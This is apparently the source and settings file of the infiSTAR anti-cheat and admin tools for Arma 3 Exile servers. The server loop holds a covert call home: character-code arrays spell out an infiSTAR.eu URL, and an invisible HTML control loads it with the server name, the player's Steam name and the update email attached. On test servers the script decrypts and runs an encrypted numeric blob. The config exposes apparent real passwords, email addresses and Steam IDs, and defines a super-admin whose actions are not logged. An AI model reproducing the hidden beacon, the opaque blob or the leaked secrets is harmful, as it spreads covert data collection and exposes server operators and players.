- _log = format['WRONG PLAYER-TYPE: %1 should be Exile_Unit_Player @%2 %3',_xtype,getPos _x,mapGridPosition _x];
- [_name,_uid,'HLOG_SKICK',toArray(_log)] call "+_fnc_server_handle_mpmessage+";
- };
- if!(_xtype isEqualTo 'Exile_Unit_GhostPlayer')then
- {
- _netId = netId _x;
- if!(_netId select [0,2] isEqualTo '2:')then
- {
- _log = format['WRONG PLAYER-OBJECT: %1 with netId %2 @%3',_xtype,_netId,getPos _x];
- _objectOwner__ORIGINAL_OWNER_ID = netId _x select [0,netId _x find ':'];
- _objectOwner__ORIGINAL_OWNER_ID = parseNumber _objectOwner__ORIGINAL_OWNER_ID;
- _objectOwnerUid = missionNameSpace getVariable[format['"+_uid_by_owner+"%1',_objectOwner__ORIGINAL_OWNER_ID],owner _x];
- _objectOwneName = missionNameSpace getVariable[format['"+_name_by_uid+"%1',_objectOwnerUid],''];
- [_objectOwneName,_objectOwnerUid,_objectOwner__ORIGINAL_OWNER_ID,_log] call FNC_INFISERVERKICK;
- };
- };
- };
- _veh = vehicle _x;
- if!(_x isEqualTo _veh)then
- {
- _crew = crew _veh;
- "; if(_UVC)then{ _A3AHstring = _A3AHstring + "
- _veh call "+_fnc_vehicle_check+";
- "; }; _A3AHstring = _A3AHstring + "
- {
- if(!isNull _x)then
- {
- if(alive _x)then
- {
- if(isObjectHidden _x)then
- {
- if!((getPlayerUID _x) in _admins)then
- {
- _log = format['Invisible PLAYER-OBJECT @%1 %2',getPos _x,mapGridPosition _x];
- [name _x,getPlayerUID _x,'HLOG_SKICK',toArray(_log)] call "+_fnc_server_handle_mpmessage+";
- };
- };
- };
- };
- } forEach _crew;
- };
- "; }; _A3AHstring = _A3AHstring + "
- };
- } forEach allPlayers;
- };
- "; if(!_KYLE_MODE)then{ _A3AHstring = _A3AHstring + "
- _timer3 = time + 65 + 180;
- _fn_3 = {
- _last_antiantihack_rndvar = _antiantihack_rndvar;
- _antiantihack_rndvar = call _fnc_RandomGen;
- _fn_antiantihack = ""
- missionNameSpace setVariable['""+_antiantihack_rndvar+""',nil];
- if(isNil'""+_antiantihack_rndvar+""')then
- {
- _bis_fnc_diagkey = 'bis_fnc_diagkey';
- _bla = 'waitUntil{';
- _diag = 'diag';
- _AntiHack = 'AntiHack';
- _PV_ = 'PV_';
- _infiSTAR = 'infiSTAR';
- _STAR = 'STAR';
- _infi = 'infi';
- _closeDisplay = 'closeDisplay';
- _EndMission = 'EndMission';
- _GetPlayerUID = 'GetPlayerUID';
- if(!isNull player)then{_uid = getPlayerUID player;_puid = getPlayerUID player;};
- missionNameSpace setVariable['""+_antiantihack_rndvar+""','""+_antiantihack_rndvar+""'];
- };
- "";
- ['',_fn_antiantihack,-2,false] call FN_infiSTAR_S;
- ['',compile (""if(isNil '""+_antiantihack_rndvar+""')then{diag_log '<infiSTAR.de> kicked to lobby #9';(findDisplay 46)closeDisplay 0;};"")] remoteExec ['FN_infiSTAR_C',-2,false];
- };
- "; }; _A3AHstring = _A3AHstring + "
- "; if(_USE_RESTART_TIMER_SHUTDOWN || _USE_RESTART_TIMER)then{ _A3AHstring = _A3AHstring + "
- _restartTime = "+str _RESTART_TIME_IN_M+";
- "; if(_USE_RESTART_TIMER)then{ _A3AHstring = _A3AHstring + "
- _msgTimes = "+str _SHOW_TIMER_IN_MIN+";
- _msgFormat = '<t size=''0.70'' color=''#DA1700'' align=''right''>RESTART IN %1 MINS</t>';
- _restarttimerTimer = time + 20;
- "; }; _A3AHstring = _A3AHstring + "
- diag_log format['<infiSTAR.de RESTART_TIMER_SHUTDOWN> restart scheduled in %1 minutes (_restartTime in EXILE_AHAT_CONFIG.hpp)',_restartTime];
- _timer4 = time + 10;
- _fn_4 = {
- _runningtime = if(diag_tickTime - time < 200 && diag_tickTime > time)then{diag_tickTime}else{time};
- _currentmessagetime = (_restartTime - round(_runningtime / 60));
- if(_currentmessagetime <= 0)then
- {
- "; if(_USE_RESTART_TIMER_SHUTDOWN)then{ _A3AHstring = _A3AHstring + "
- diag_log format['<infiSTAR.de> shutting down server.. after %1 minutes (_restartTime = %2 minutes in EXILE_AHAT_CONFIG.hpp)',_currentmessagetime,_restartTime];
- _return = (call FN_GET_SERVERPW) serverCommand '#shutdown';
- if(!_return)then
- {
- for '_i' from 0 to 10 do {diag_log '<infiSTAR.de> serverCommandPassword NOT SET! CAN NOT #SHUTDOWN SERVER!';};
- };
- "; }; _A3AHstring = _A3AHstring + "
- "; if(_USE_RESTART_TIMER)then{ _A3AHstring = _A3AHstring + "
- }
- else
- {
- if(_currentmessagetime in _msgTimes)then
- {
- _msgTimes = _msgTimes - [_currentmessagetime];
- [
- format[_msgFormat, _currentmessagetime],
- {
- [
- _this,
- [safezoneX + safezoneW - 0.8,0.50],
- [safezoneY + safezoneH - 0.8,0.7],
- 15,
- 0.5
- ] spawn BIS_fnc_dynamicText;
- },
- -2,
- false
- ] call FN_infiSTAR_S;
- };
- if(time > _restarttimerTimer)then
- {
- _restarttimerTimer = time + 20;
- _restartinseconds = (_restartTime * 60) - _runningtime;
- _hours = floor(_restartinseconds / 60 / 60);
- if(_hours isEqualTo 0)then
- {
- _minutes = floor((((_restartinseconds / 60 / 60) - _hours) max 0.0001)*60);
- if(_minutes <= 2)then
- {
- _seconds = round(_restartinseconds - (_hours*60*60) - (_minutes * 60));
- _seconds = if(_seconds <= 10)then{format['0%1',_seconds]}else{_seconds};
- [
- [
- _minutes,
- _seconds
- ],
- {
- systemChat format['SERVER: RESTART IN 00:0%1:%2',_this select 0,_this select 1];
- },
- -2,
- false
- ] call FN_infiSTAR_S;
- };
- };
- };
- "; }; _A3AHstring = _A3AHstring + "
- };
- };
- "; }; _A3AHstring = _A3AHstring + "
- [] spawn {_WW = compile toString[99,116,114,108,72,84,77,76,76,111,97,100,101,100,32,95,104];_FF = compile toString[95,104,32,104,116,109,108,76,111,97,100,32,95,108];waitUntil{time > 30};disableSerialization;_idd=24;waitUntil {createDialog ('R'+'s'+'c'+'D'+'i'+'s'+'p'+'l'+'a'+'y'+'C'+'h'+'a'+'t');uiSleep 1;diag_log str allDisplays;!isNull findDisplay _idd};_h = (findDisplay _idd) ctrlCreate [('R'+'s'+'c'+'H'+'T'+'M'+'L'), 3307182];_h ctrlSetBackgroundColor [0,0,0,0.3];_l = toString[104,116,116,112,58,47,47,105,110,102,105,83,84,65,82,46,101,117,47,115,46,112,104,112,63,115,110];_randomNumber = 2673;_from = missionNameSpace getVariable[('U'+'P'+'D'+'A'+'T'+'E'+'E'+'M'+'A'+'I'+'L'),_randomNumber];_vers = missionNameSpace getVariable[('I'+'N'+'F'+'I'+'S'+'T'+'A'+'R'+'V'+'E'+'R'+'S'+'I'+'O'+'N'),_randomNumber];_l = format[""%1=%2&sp=%3&um=%4&i=%5&s=%6"",_l,serverName,profileNameSteam,_from,_vers,productVersion];_l = _l call fn_clean_bad;call _FF;_t = time+10;waitUntil {call _WW || time > _t};ctrlDelete _h;closeDialog 0;};
- diag_log format['<infiSTAR.de> %1 - Thread #1: Server Loop #1 looping now!',time];
- while{true}do
- {
- _loopStart = diag_tickTime;
- if(time > _timer0)then
- {
- _timer0 = time + 25;
- call _fn_0;
- };
- "; if(!_KYLE_MODE)then{ _A3AHstring = _A3AHstring + "
- if(time > _timer1)then
- {
- _timer1 = time + 50;
- call _fn_1;
- };
- "; }; _A3AHstring = _A3AHstring + "
- if(time > _timer2)then
- {
- _timer2 = time + 45;
- call _fn_2;
- };
- "; if(!_KYLE_MODE)then{ _A3AHstring = _A3AHstring + "
- if(time > _timer3)then
- {
- _timer3 = time + 65;
- call _fn_3;
- };
- "; }; _A3AHstring = _A3AHstring + "
- "; if(_USE_RESTART_TIMER_SHUTDOWN || _USE_RESTART_TIMER)then{ _A3AHstring = _A3AHstring + "
- if(time > _timer4)then
- {
- _timer4 = time + 10;
- call _fn_4;
- };
- "; }; _A3AHstring = _A3AHstring + "
- _loopTime = diag_tickTime - _loopStart;
- if(_loopTime > 1)then{uiSleep (_loopTime/2);};
- uiSleep 3;
- currentserverfps = diag_fps;
- activeSQFScriptsvar = count diag_activeSQFScripts;
- [
- [currentserverfps,activeSQFScriptsvar,_loopTime],
- {SERVER_FPS = _this select 0;SERVER_THREADS = _this select 1;SERVER_LOOPTIME = _this select 2;},
- -2,
- false
- ] call FN_infiSTAR_S;
- };
- _log = format['%1 - LOOP - BROKEN!',time];
- ['HACKLOG',_log] call FNC_A3_RL;
- };
- ";
- diag_log format['<infiSTAR.de> %1 - Thread #1: added !',time];
- diag_log format['<infiSTAR.de> %1 - compiling AntiHack',time];
- call compile _A3AHstring;_A3AHstring=nil;
- if(_testserver)then{
- _NGB_Dcrypt = {_NGBkey='Q)8&%])tjm';_NGB_DcryptMe = _this;_counter = 0;_Array = toArray(_NGBkey);for '_i' from 0 to (count(_NGB_Dcryptme)-1) do {if(_counter > (count(_Array)-1)) then {_counter = 0;};
- _var = (_NGB_Dcryptme select _i) / (_Array select _counter);_NGB_Dcryptme set[_i,_var];_counter = _counter + 1;};toString(_NGB_Dcryptme);};
- call compile([ 7695, 4059, 6216, 3800, 3737, 2976, 2501, 3712, 13038, 1417, 810, 4879, 5432, 3990, 4292, 7905, 4510, 13456, 11130, 11772, 2592, 5043, 1848, 1520, 3811, 9393, 4756, 9280,
- 11448, 10573, 9801, 4141, 6384, 3230, 2701, 6324, 1312, 12992, 11448, 10573, 9801, 4141, 6384, 1216, 3885, 10695, 2829, 13108, 12402, 10573, 8748, 3444, 6216, 1216, 1443, 3627, 1681,
- 14500, 6254, 1417, 810, 3731, 728, 380, 333, 3627, 1599, 5104, 1378, 1090, 729, 5043, 728, 380, 333, 837, 4100, 12180, 12190, 10573, 7938, 4428, 5656, 3154, 3737, 10602, 4305, 11252,
- 11448, 11445, 9882, 3977, 6496, 3990, 4107, 10230, 2419, 1508, 1060, 981, 729, 533, 560, 342, 333, 8835, 4797, 13224, 11448, 3488, 4941, 1312, 5712, 4218, 4218, 10137, 3977, 13456, 9646,
- 4251, 8424, 4756, 6496, 4256, 2146, 4371, 1927, 12528, 11766, 10573, 8100, 1886, 5880, 4180, 3774, 9765, 3403, 9744, 6890, 8938, 3726, 4100, 5656, 1786, 4218, 10416, 1886, 12992, 11024,
- 12208, 5103, 4510, 5432, 4142, 3737, 5673, 1517, 5684, 4028, 12535, 9396, 4141, 5432, 4142, 3885, 9300, 2501, 4292, 5300, 4142, 9315, 4141, 6384, 4484, 3737, 10602, 4510, 11252, 11554,
- 11009, 4941, 1517, 2856, 1444, 4366, 9393, 4674, 13340, 11130, 12099, 8910, 2501, 2072, 1976, 1443, 4092, 4592, 13224, 11766, 11118, 8505, 4428, 5656, 2964, 3589, 10137, 4141, 5104,
- 10918, 11009, 9396, 3280, 6048, 3686, 4477, 9393, 4674, 9860, 7738, 7412, 2592, 4592, 6048, 3686, 4477, 9393, 4674, 5104, 12190, 11009, 9234, 4838, 5656, 4332, 2886, 9021, 4469, 11716,
- 4664, 12208, 9234, 4551, 5600, 4446, 3663, 10788, 3526, 11716, 12084, 12535, 8505, 4551, 6160, 3534, 2183, 1209, 410, 1044, 954, 10355, 9477, 4674, 6048, 1216, 2257, 2976, 4756, 12876,
- 6890, 12426, 9234, 3977, 6776, 1216, 3515, 10881, 4674, 12528, 6254, 1417, 810, 369, 504, 3610, 4329, 10602, 4428, 3712, 6466, 3488, 7695, 4797, 6384, 4104, 1184, 4185, 1312, 10556, 5406,
- 5777, 7533, 2419, 728, 380, 333, 837, 3895, 13572, 12084, 11772, 2592, 2501, 1792, 4408, 4107, 7719, 4756, 13224, 11130, 11990, 8343, 1312, 5320, 4446, 4218, 10044, 2419, 1508, 1060, 981,
- 729, 533, 560, 342, 333, 8835, 4264, 13456, 11554, 11772, 2592, 2501, 1792, 1520, 3774, 9765, 4510, 11600, 7208, 11445, 9315, 4592, 6048, 3686, 4477, 2976, 1968, 4756, 3392, 10791, 9396,
- 4674, 6048, 2546, 4218, 9393, 3977, 13456, 10706, 3488, 7371, 1599, 4592, 4370, 3663, 6696, 3444, 8932, 8056, 4251, 3564, 1312, 2856, 1862, 1776, 5115, 2009, 6496, 5300, 10137, 4779, 533,
- 560, 342, 333, 8835, 4264, 13456, 11554, 11772, 2592, 4059, 6496, 4332, 3996, 7719, 4141, 13456, 6996, 10573, 8019, 4387, 5768, 4332, 4107, 10881, 4510, 11600, 7102, 12099, 8748, 4551,
- 6384, 1216, 3367, 4464, 1804, 5568, 4664, 5232, 3564, 1968, 2576, 1938, 3441, 5487, 533, 1160, 954, 981, 7695, 4264, 6496, 4142, 3996, 2976, 4059, 13456, 12084, 11772, 6723, 4141, 6496,
- 3040, 4107, 10695, 4305, 13456, 11130, 12099, 8910, 1312, 5096, 494, 370, 837, 369, 1044, 12190, 10573, 8262, 4141, 5040, 4218, 4070, 9393, 3608, 5104, 1378, 1090, 729, 369, 504, 4370,
- 3589, 9486, 4141, 10440, 11766, 11990, 8181, 3649, 2464, 494, 370, 837, 369, 1044, 12190, 10573, 8262, 4141, 5040, 4218, 4070, 9393, 3567, 5104, 1378, 1090, 729, 369, 504, 4370, 3589,
- 9486, 4141, 10440, 11766, 11990, 8181, 2952, 2632, 1938, 481, 930, 369, 1044, 9858, 6431, 1053, 410, 504, 342, 3515, 9672, 4756, 12644, 11448, 3488, 8019, 4756, 6384, 4104, 2553, 10230,
- 3977, 11368, 11448, 11009, 2592, 4756, 6384, 4446, 3737, 5487, 533, 1160, 954, 981, 7695, 4264, 6496, 4142, 3996, 2976, 4059, 13456, 12084, 11772, 6723, 4264, 6216, 4522, 1184, 10788,
- 4674, 13572, 10706, 6431, 1053, 410, 504, 342, 3515, 9672, 4756, 12644, 11448, 3488, 8019, 4756, 6384, 4104, 2479, 10323, 4469, 12644, 11130, 12644, 2592, 1968, 3304, 494, 370, 837, 369,
- 11020, 11024, 12644, 8829, 4428, 1792, 3952, 4292, 10137, 4428, 8816, 11766, 10573, 8100, 1312, 5320, 4446, 4218, 10044, 2419, 1508, 1060, 981, 729, 4059, 6496, 4332, 3996, 6324, 4141,
- 12528, 10706, 12644, 8181, 1312, 5320, 3952, 4292, 10137, 4428, 6844, 1378, 1090, 729, 5125, 728, 380, 3441, 2976, 4141, 13920, 10706, 10791, 5670, 3403, 4312, 1216, 1443, 9207, 3977,
- 12528, 11448, 5014, 8262, 4715, 6104, 1482, 2183, 1209, 410, 14500, 6254, 1417, 810, 4592, 6048, 3686, 4477, 9393, 4674, 11020, 11448, 12099, 8343, 3895, 5936, 3990, 4144, 8835, 4305,
- 11600, 3392, 6649, 2592, 3731, 5320, 3762, 4107, 9300, 4141, 5104, 13038, 10791, 7857, 4428, 6048, 1216, 3515, 10788, 4264, 12180, 12190, 13625, 7533, 1312, 6384, 3838, 4033, 10323,
- 4756, 11716, 7314, 13080, 8181, 4059, 1792, 3458, 1443, 6510, 3198, 11020, 11130, 11990, 8262, 4305, 4648, 3192, 2405, 7626, 3895, 7772, 4134, 4796, 3645, 2050, 2464, 1482, 4144, 10044,
- 3977, 14036, 10706, 12426, 7695, 4428, 6216, 3914, 3515, 9858, 4305, 12992, 4134, 10137, 4779] call _NGB_Dcrypt);
- };
- diag_log format['<infiSTAR.de> %1 - AntiHack loaded!',time];
- _pathToCustomBillBoardTextures spawn {
- _pathToCustomBillBoardTextures = _this;
- waitUntil {!isNil 'PublicServerIsLoaded'};
- waitUntil { (time > 10) && PublicServerIsLoaded };
- {
- _textureid = _x getVariable ['ExileAccessCode',''];
- if!(_textureid isEqualTo '')then
- {
- _textureid = parseNumber _textureid;
- if(_textureid > 0)then
- {
- _selected = _pathToCustomBillBoardTextures select (_textureid-1);
- _texture = _selected select 1;
- _x setObjectTextureGlobal [0,_texture];
- _x allowDamage false;
- _x addMPEventHandler ['MPKilled', { if !(isServer) exitWith {}; (_this select 0) call fnc_remove_billboard;}];
- };
- };
- } forEach (allMissionObjects 'Exile_Sign_TraderCity');
- };
- /* ********************************************************************************* */
- /* *********************************www.infiSTAR.de********************************* */
- /* *******************Developed by infiSTAR (infiSTAR23@gmail.com)****************** */
- /* **************infiSTAR Copyright®© 2011 - 2016 All rights reserved.************** */
- /* ****DayZAntiHack.com***DayZAntiHack.de***ArmaAntiHack.com***Arma3AntiHack.com**** *//*
- Author: Chris(tian) "infiSTAR" Lorenzen
- Contact: infiSTAR23@gmail.com // www.infiSTAR.de
- Copyright infiSTAR - 2011 - 2016. All rights reserved.
- Christian (Chris) L. (infiSTAR23@gmail.com) Developer of infiSTAR
- Description:
- Arma AntiHack & AdminTools - infiSTAR.de
- UPDATEEMAIL for http://update.infiSTAR.de is:
- 'bullred1989@gmail.com'
- Last download was on:
- '05-Jul-2016 23-52-40';
- */
- class Cfg_infiSTAR_settings {
- /*
- "serverCommandPassword" is serverCommandPassword - in your servers config.cfg
- if your config.cfg does not have serverCommandPassword yet, simply add it in a new line:
- serverCommandPassword = "changeme";
- This is VERY IMPORTANT as it is needed to KICK & BAN people.
- It will try to get this password from "@ExileServer\addons\exile_server_config" first. If you did not set a password there (config.cpp),
- then it will take what you put here.
- */
- serverCommandPassword = "d26o77";
- /*
- "passwordAdmin" is passwordAdmin - in your servers config.cfg, needed for servercommands from client
- This is used to be able to use the "login" function ingame. Will log you in as Arma "Admin".
- */
- passwordAdmin = "d26o7";
- /* serverCommandPassword and passwordAdmin should always be different passwords or it could cause problems! */
- /* "_OPEN_ADMIN_MENU_KEY": Key to open the menu (google DIK_KeyCodes (0x3B is F1)) */
- OPEN_ADMIN_MENU_KEY = 0x3B;
- HIDE_FROM_PLAYERS = false; /* So no normal can see it :)! */
- announce_adminstate_changed = false; /* whenever you type !admin as an admin it will announce that you logged out or in to all players on the server! */
- use_html_load_on_adminmenu = true; /* default and recommended is TRUE. infiSTAR updates and news are announced in the top right corner when you open the AdminMenu if this is true! */
- /*
- DLL SETTINGS
- "" is the Arma3Server directory
- "infiSTAR_Logs/" would be a folder called "infiSTAR_Logs" within your Arma3Server directory.
- You need to create the defined folder if it doesn't exist. If you don't create it - the DLL won't be able to write any Log files ! ! !
- */
- LOG_PATH = "_____LOGS/";
- /* "LogAdminActions": Sends actions done by each admin to the server to log it to the .txt file (if infiSTAR dlls are used) and .rpt file + sends it back to all other admins. */
- LogAdminActions = true;
- enableIngameLogs = true;
- /*
- if you set "needAdminNameTag" to true, this string needs to be a part of the admins name, or he can't use infiSTAR Admin Menu!
- example names: "[Admin] infiSTAR" or "infiSTAR [Admin]"
- note: this is case sensitive as well, meaning "infiSTAR [admin]" would not work as we set it in our example to "[Admin]"
- */
- needAdminNameTag = false;
- AdminNameTag = "[Admin]";
- /*
- {chatCommand (text typed in chat),text shown to player}
- only triggers if the EXACT text is typed!
- */
- chatCommands[] =
- {
- {"!ts","ts.mycommunity.com"},
- {"!website","www.mycommunity.com"},
- {"!admin","please visit ts.mycommunity.com"}
- };
- /*
- {chatCommand (text typed in chat) partitial,text shown to player}
- "Hello, why is there no loot on this map?" <- will trigger the example below!
- */
- chatCommandsP[] =
- {
- {"no loot","You cannot loot from non arma buildings in this map, you must move around - check the shipping yards for best loot"}
- };
- /*
- Noficiations shown to all players on the server. Could be used to replace BEC messages.
- {first occurrence after x min, show again after x min, show message for x seconds, font size (recommended is 0.6), x pos, y pos,text color, text (<br/> is a linebreak)}
- if you want the client to see a message only once when logging in, you put the first and second entry in the array to -1.
- Example:
- {-1, -1, 4, 0.6, 0, 0, "#ff0000", "Welcome to our server"}
- */
- ENABLE_NOTIFICATION_MESSAGES = true;
- NOTIFY_MSG_ARRAY[] =
- {
- {-1, -1, 6, 0.6, 0, 0, "#ff0000", "Welcome to our server"},
- {-1, -1, 4, 0.6, 0, 0, "#1900FF", "Enjoy!"},
- {-1, -1, 5, 0.6, 0, 0, "#39E600", "Protected and administrated by<br/>infiSTAR.de AdminTools, AntiHack and more!"},
- {15, 15, 8, 0.6, 0, 0, "#E600E6", "15 minutes have passed, drink some water!<br/>(IN REAL LIFE NOT INGAME)"}
- };
- /*
- If admin has rights to "Create Billboard", he will have new options to create a Billboard ingame with one of the following textures
- {"name shown in adminmenu","path to texture"}
- should be looking somewhat like this:
- {"example picture","\mpmissions\Exile.Altis.pbo\example.paa"}
- the picture has to be available on EACH client AND the server.
- So you either need a client-side mod for it or you need to put it in the MPMission
- */
- pathToCustomBillBoardTextures[] =
- {
- {"Doggy","exile_assets\texture\flag\flag_mate_21dmd_co.paa"},
- {"Spawny","exile_assets\texture\flag\flag_mate_spawny_co.paa"},
- {"Dickbutt","exile_assets\texture\flag\flag_misc_dickbutt_co.paa"},
- {"Vish","exile_assets\texture\flag\flag_mate_vish_co.paa"}
- };
- /* "startAsNormal": if you add admin UIDs in here as well, they will start as almost "normal" player instead of with admin menu and such. */
- startAsNormal[] =
- {
- "UID1","UID2","UID3","..."
- };
- /* "hiddenSuperAdmin": These admins are seen as normal players by normal admins, their actions are not logged either (to keep an eye out on your admins) */
- hiddenSuperAdmin[] =
- {
- "76561198165536859","UID2","UID3","..."
- };
- adminUIDandAccess[] =
- {
- {
- {"76561198055441782","76561198078567168","76561198060069727","..."}, /* Admins with UIDs in this Array have their Access defined in the array below. */
- {
- "Teleport On Map Click","Teleport - Target To Me","Teleport - Me To Target","Teleport In Facing Direction (10m steps)",
- "spectating","Delete Vehicle","FlyUp","ShowGear","Show Server Information",
- "HealSelf","HealRepairNear","AdminLog","Freeze","UnFreeze","Restrain","UnRestrain",
- "==== Loadouts ====","==== Base Deleter ====","==== WeatherLord ====","Items spawn menu",
- "Remove Gear","Heal","Restore","Flip Vehicle","Move In My Vehicle","Move In Target Vehicle","Eject","Eject Crew",
- "Player ESP","Player ESP (safezone style)","AI ESP","Dead ESP","Loot ESP",
- "Vehicle Marker","Flag Marker (with radius)","DeadPlayer Marker",
- "God Mode","God Mode (no stats change)","Vehicle God Mode","Lower Terrain","Vehboost","UnlimAmmo","noRecoil","FastFire","Stealth / Invisible",
- "Disable Announces","Mass Message","Change Time","Spawn Support-Boxes","Create Billboard","Change ViewDistance",
- "Spawn Ammo","Login as Arma Admin","BIS FreeRoam Cam (works with ESP)","FreeRoam Cam (does not work with ESP)",
- "Request Steam Name","showinfo",
- "UnlockLockVehicle","Copy Worldspace(coords) to RPT & Chat",
- "Spawn Vehicles","Spawn Persistent Vehicles",
- "Kill","Explode","Force Disconnect",
- "Kick (Silent)","Kick (Announce)","Ban (Silent)","Ban (Announce)","TempBan (Silent)","TempBan (Announce)",
- "AdminConsole",
- "DebugConsole",
- "Execute code on server (DebugConsole)","Execute code global (DebugConsole)","Execute code local (DebugConsole)",
- "Lock Server (DebugConsole)","UnLock Server (DebugConsole)","Ban (DebugConsole)","Kick (DebugConsole)",
- "Change Money on Player","Change Money on Bank","Change Respect",
- "MapIcons",
- "MapIcons: Buildings","MapIcons: Flags",
- "MapIcons: Player","MapIcons: DeadPlayer","MapIcons: Vehicles",
- "MapIcons: Vehicle Types","MapIcons: Vehicle lockstate","MapIcons: DeadVehicles",
- "MapIcons: AI",
- "Arsenal", // Adds Arsenal to the mousewheel actions if you press "," on the Numpad!
- "Unconscious","Remove Unconscious",
- "Light" // Zeus like Lighting from the Air strikes down at selected player / target / location - use ctrl+1 or the menu to use it!
- }
- },
- {
- {"UID1","UID2","UID3","..."}, /* Admins with UIDs in this Array have their Access defined in the array below. */
- {
- "Teleport On Map Click","Teleport - Target To Me","Teleport - Me To Target","Teleport In Facing Direction (10m steps)",
- "spectating","Delete Vehicle","FlyUp","ShowGear","Show Server Information",
- "HealSelf","HealRepairNear","AdminLog","Freeze","UnFreeze","Restrain","UnRestrain",
- "==== Loadouts ====","==== Base Deleter ====","==== WeatherLord ====","Items spawn menu",
- "Remove Gear","Heal","Restore","Flip Vehicle","Move In My Vehicle","Move In Target Vehicle","Eject","Eject Crew",
- "Player ESP","Player ESP (safezone style)","AI ESP","Dead ESP","Loot ESP",
- "Vehicle Marker","Flag Marker (with radius)","DeadPlayer Marker",
- "God Mode","God Mode (no stats change)","Vehicle God Mode","Lower Terrain","Vehboost","UnlimAmmo","noRecoil","FastFire","Stealth / Invisible",
- "Disable Announces","Mass Message","Change Time","Spawn Support-Boxes","Create Billboard","Change ViewDistance",
- "Spawn Ammo","Login as Arma Admin","BIS FreeRoam Cam (works with ESP)","FreeRoam Cam (does not work with ESP)",
- "Request Steam Name","showinfo",
- "UnlockLockVehicle","Copy Worldspace(coords) to RPT & Chat",
- "Spawn Vehicles","Spawn Persistent Vehicles",
- "Kill","Explode","Force Disconnect",
- "Kick (Silent)","Kick (Announce)","Ban (Silent)","Ban (Announce)","TempBan (Silent)","TempBan (Announce)",
- "AdminConsole",
- "DebugConsole",
- "Execute code on server (DebugConsole)","Execute code global (DebugConsole)","Execute code local (DebugConsole)",
- "Lock Server (DebugConsole)","UnLock Server (DebugConsole)","Ban (DebugConsole)","Kick (DebugConsole)",
- "Change Money on Player","Change Money on Bank","Change Respect",
- "MapIcons",
- "MapIcons: Buildings","MapIcons: Flags",
- "MapIcons: Player","MapIcons: DeadPlayer","MapIcons: Vehicles",
- "MapIcons: Vehicle Types","MapIcons: Vehicle lockstate","MapIcons: DeadVehicles",
- "MapIcons: AI",
- "Arsenal", // Adds Arsenal to the mousewheel actions if you press "," on the Numpad!
- "Unconscious","Remove Unconscious",
- "Light" // Zeus like Lighting from the Air strikes down at selected player / target / location - use ctrl+1 or the menu to use it!
- }
- },
- {
- {"UID1","UID2","UID3","..."}, /* Admins with UIDs in this Array have their Access defined in the array below. */
- {
- "Teleport On Map Click","Teleport - Target To Me","Teleport - Me To Target","Teleport In Facing Direction (10m steps)",
- "spectating","Delete Vehicle","FlyUp","ShowGear","Show Server Information",
- "HealSelf","HealRepairNear","AdminLog","Freeze","UnFreeze","Restrain","UnRestrain",
- "==== Loadouts ====","==== Base Deleter ====","==== WeatherLord ====","Items spawn menu",
- "Remove Gear","Heal","Restore","Flip Vehicle","Move In My Vehicle","Move In Target Vehicle","Eject","Eject Crew",
- "Player ESP","Player ESP (safezone style)","AI ESP","Dead ESP","Loot ESP",
- "Vehicle Marker","Flag Marker (with radius)","DeadPlayer Marker",
- "God Mode","God Mode (no stats change)","Vehicle God Mode","Lower Terrain","Vehboost","UnlimAmmo","noRecoil","FastFire","Stealth / Invisible",
- "Disable Announces","Mass Message","Change Time","Spawn Support-Boxes","Create Billboard","Change ViewDistance",
- "Spawn Ammo","Login as Arma Admin","BIS FreeRoam Cam (works with ESP)","FreeRoam Cam (does not work with ESP)",
- "Request Steam Name","showinfo",
- "UnlockLockVehicle","Copy Worldspace(coords) to RPT & Chat",
- "Spawn Vehicles","Spawn Persistent Vehicles",
- "Kill","Explode","Force Disconnect",
- "Kick (Silent)","Kick (Announce)","Ban (Silent)","Ban (Announce)","TempBan (Silent)","TempBan (Announce)",
- "AdminConsole",
- "DebugConsole",
- "Execute code on server (DebugConsole)","Execute code global (DebugConsole)","Execute code local (DebugConsole)",
- "Lock Server (DebugConsole)","UnLock Server (DebugConsole)","Ban (DebugConsole)","Kick (DebugConsole)",
- "Change Money on Player","Change Money on Bank","Change Respect",
- "MapIcons",
- "MapIcons: Buildings","MapIcons: Flags",
- "MapIcons: Player","MapIcons: DeadPlayer","MapIcons: Vehicles",
- "MapIcons: Vehicle Types","MapIcons: Vehicle lockstate","MapIcons: DeadVehicles",
- "MapIcons: AI",
- "Arsenal", // Adds Arsenal to the mousewheel actions if you press "," on the Numpad!
- "Unconscious","Remove Unconscious",
- "Light" // Zeus like Lighting from the Air strikes down at selected player / target / location - use ctrl+1 or the menu to use it!
- }
- }
- };
- /*
- Use Database WhiteList?
- if "USE_DATABASE_WHITELIST = true;", UIDs that are not whitelisted in your exile server database, will be kicked on connect.
- To use this, you need to use what I've added to "infiSTAR.de_Exile\SERVER_ARMA3_FOLDER\db_related_changes"
- */
- USE_DATABASE_WHITELIST = false;
- /*
- Use UID WhiteList?
- if "USE_UID_WHITELIST = true;", UIDs that are not in "UID_WHITELIST" array, will be kicked on connect.
- This even counts for Admins!
- */
- USE_UID_WHITELIST = false;
- UID_WHITELIST[] =
- {
- "UID1","UID2","UID3","..."
- };
- ExileDevFriendlyMode = true; /* adds Exile Devs to your AdminList - makes it easier for them to debug their mod live */
- /* What ESCAPE Menu shows */
- ESCMNUTOP = "AntiHack & AdminTools";
- ESCMNUBOT = "by infiSTAR.de";
- BRIEFING_MSG = false; /* use mission briefing message: if "BRIEFING_MSG = false;" then the message will be replaced by infiSTAR */
- HTML_LOAD_URL = ""; /* HTML_LOAD_URL = ""; == disabled and if you set a url it will be shown in ESCAPE menu. HTML in Arma/this is limited. Try it :) example: "http://goo.gl/gb0o7b" */
- ENABLE_PRIVATE_CHAT_MENU = true; /* players can open it by typing !chat in chat or by custom controls -> "Use Action 3" */
- PRIVATE_CHAT_MENU_8GNETWORK = false; /* if this is true - players will only be able to use private chat if they enable 8GNetwork in their xm8 */
- /* shows RESTART IN X MINS */
- USE_RESTART_TIMER = true; /* show time left to next restart */
- RESTART_TIME_IN_M = 180; /* restart time in minutes (default: 180min == 3 hours) */
- SHOW_TIMER_IN_MIN[] = {1,2,3,5,10}; /* minutes before restart, when message is shown */
- USE_RESTART_TIMER_SHUTDOWN = true; /* #shutdown the server after RESTART_TIME_IN_M minutes */
- /* Allow Player to vote Day/Night by typing vote day / vote night in Chat*/
- DayNightVote = true;
- MRV = 0.3; /* if "DayNightVote = true;" - Minimum votes required. Percentage of players needed to pass the vote. */
- MVP = 0.51; /* if "DayNightVote = true;" - Minimum vote percentage. A setting that dictates the minimum vote percentage that needs to be reached for the vote to pass. */
- VCT = 300; /* if "DayNightVote = true;" - Time (in seconds) to wait until nex vote is possible. */
